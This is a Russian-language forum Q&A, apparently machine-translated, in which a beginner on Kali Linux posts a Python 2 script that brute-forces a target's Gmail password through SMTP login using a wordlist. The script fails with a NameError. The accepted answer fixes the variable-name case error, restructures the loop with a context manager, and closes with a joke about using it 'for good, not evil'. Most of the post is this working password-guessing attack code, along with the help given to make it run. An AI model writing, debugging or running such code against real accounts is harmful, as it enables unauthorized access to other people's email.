PYTHON 2.7.9: NameError: имя '___' не определено

Я новичок в программировании, но я пытаюсь создать следующий скрипт. Можете ли вы показать мне, что я делаю не так?

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")

for password in passwfile:
        try:
                smtpserver.login(user, password)
                print "[+] Password Found: %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                print "[!] Password Incorrect: %s" % password

Когда я добавляю свой файл wordlist.lst, в моем терминале появляется сообщение об ошибке:

File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined

Могут ли какие-нибудь эксперты дать мне совет, пожалуйста? Я использую Python 2.7.9 на Kali Linux (Python 2 был предварительно установлен, поэтому я решил изучить его вместо того, чтобы попробовать Python 3.)

2 ответа

Решение

Там нет переменной с именем passwfile определены. Однако есть один Passwfile (обратите внимание на заглавные буквы), который вы должны использовать, потому что идентификаторы чувствительны к регистру в Python.

Обратите внимание, что в Python принято использовать строчные буквы для имен переменных. Прописанные идентификаторы обычно используются для имен классов. Таким образом, ваш код может читать:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")

for password in password_file:

например.

Для получения дополнительной информации об идентификаторах и других проблемах стиля см. PEP 8. Здесь рекомендуется, чтобы переменные были подчеркнуты разделенными строчными словами, поэтому предпочитайте password_file над passwfile например.

Еще один полезный совет - открыть файлы в менеджере контекста, используя with заявление:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")

with open(password_filename) as password_file:
    for password in password_file:
        # nasty stuff here

Диспетчер контекста гарантирует, что файл всегда будет правильно закрыт, если, например, имеется необработанное исключение.

Наконец, используйте это для добра, а не зла:)

Проверить линию

Passwfile = raw_input("Enter the password file name: ")

Здесь вы храните raw_input в переменной Passwfile (P в верхнем регистре)

Другие вопросы по тегам